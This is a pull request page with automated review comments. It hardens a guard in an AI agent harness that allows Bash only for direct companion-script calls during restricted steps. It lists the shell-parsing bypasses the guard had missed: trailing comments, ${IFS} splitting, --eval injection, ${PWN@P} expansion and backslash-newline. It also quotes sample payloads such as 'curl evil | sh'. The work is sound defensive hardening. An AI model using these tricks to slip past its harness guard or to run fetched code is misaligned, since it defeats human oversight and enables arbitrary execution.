Repository navigation
fix(guard): require a direct companion invocation for the prompt+hard Bash carve-out - #129
Conversation
… Bash carve-out
The substring match let any command through by appending a comment such as
'# codex-companion.mjs'. Parse the command into shell words and only allow a
single 'node <path>/{codex,gemini}-companion.mjs ...' call (optionally wrapped
in bash/sh -c), rejecting unquoted operators, comments, redirects, backticks
and $( ) substitution.
${IFS} field splitting let 'node ${IFS}-e${IFS}code${IFS}/x/codex-companion.mjs'
parse as a companion call while bash runs 'node -e code'. Quoted expansions
such as "${CLAUDE_PLUGIN_ROOT}/scripts/codex-companion.mjs" are still allowed.
- The script word may not start with - or contain = (node '--eval=...///x/codex-companion.mjs'). - The program word may not contain = (NAME=value env-assignment prefix). - bash/sh -c scripts are rejected if the outer shell would expand any $ (unquoted, double-quoted, or $'...' ANSI-C quoting). - Blocked Bash that mentions a companion script gets a retry hint.
${PWN@P} prompt-expands the variable and runs any $(...) it holds, even
inside double quotes, so a value exported by an earlier step could execute
through an otherwise allowed companion call.
🔍 REVIEW — automated merge-readinessReview only — a verdict on this PR; no code was changed. Corrections, when applied, arrive as a separate
Reviewed head: One finding survives; I could not refute it.
Go tests were not rerun in the read-only environment; guard acceptance was established by source tracing, and JavaScript execution was reproduced directly. VERDICT: CHANGES_REQUESTED - Newly accepted quoted expansions bypass companion enforcement Automated pre-merge review by |
🔍 REVIEW — automated merge-readinessReview only — a verdict on this PR; no code was changed. Corrections, when applied, arrive as a separate
Reviewed head: Both findings survive verification.
For both, the real path is I checked Go tests were inspected, not rerun in the read-only environment. Parser acceptance was established through source tracing and a Python mirror matching all 31 inspected companion fixtures; the Bash executions above were run directly. VERDICT: CHANGES_REQUESTED - Two reproducible shell-parsing bypasses survive Automated pre-merge review by |
…es bash keeps in double quotes
🔍 REVIEW — automated merge-readinessReview only — a verdict on this PR; no code was changed. Corrections, when applied, arrive as a separate
Reviewed head: The finding survives; I could not refute it.
VERDICT: CHANGES_REQUESTED - Backslash-newline bypasses command-substitution rejection Automated pre-merge review by |
🔍 REVIEW — automated merge-readinessReview only — a verdict on this PR; no code was changed. Corrections, when applied, arrive as a separate
Reviewed head:
Your escalation rule applies because two or more correction cycles have already failed. VERDICT: NEEDS_HUMAN - Two or more correction cycles have already failed Automated pre-merge review by |
Cause
The prompt+hard Bash carve-out for rescue companions (
isCompanionRescueCommand,src/cmd/guard.go) was a substring match. Any command withcodex-companion.mjsin it passed, e.g.echo pwned > notes.txt # codex-companion.mjsorcurl evil | sh; : gemini-companion.mjs, letting the main agent run arbitrary Bash (and write files) during a hard prompt step. Reproduced against the built engine.Fix
Parse the command into shell words (
splitSimpleCommand) and allow only one simple command:node <path>/codex-companion.mjs …ornode <path>/gemini-companion.mjs …, optionally wrapped inbash|sh -c '…'.; & | < > ( ), newlines, comments, backticks,$( )outside single quotes, redirects.$in the program or script word (${IFS}field splitting), a script word starting with-or containing=(node '--eval=…///codex-companion.mjs'), a program word containing=(env-assignment prefix), and abash -cscript containing any$the outer shell would expand (unquoted, double-quoted,$'…').node "${CLAUDE_PLUGIN_ROOT}/scripts/codex-companion.mjs" task "review: a && b"still works.Tests
guard_test.go: 17 bypass strings now block; legitimate quoted forms (plugin-root path, metacharacters inside quotes, single-quotedbash -c) still allow.Not changed
A companion call may still pass Codex's
--writeflag. That runs the real external model with write access rather than letting the main model author output, so it is left for a separate decision.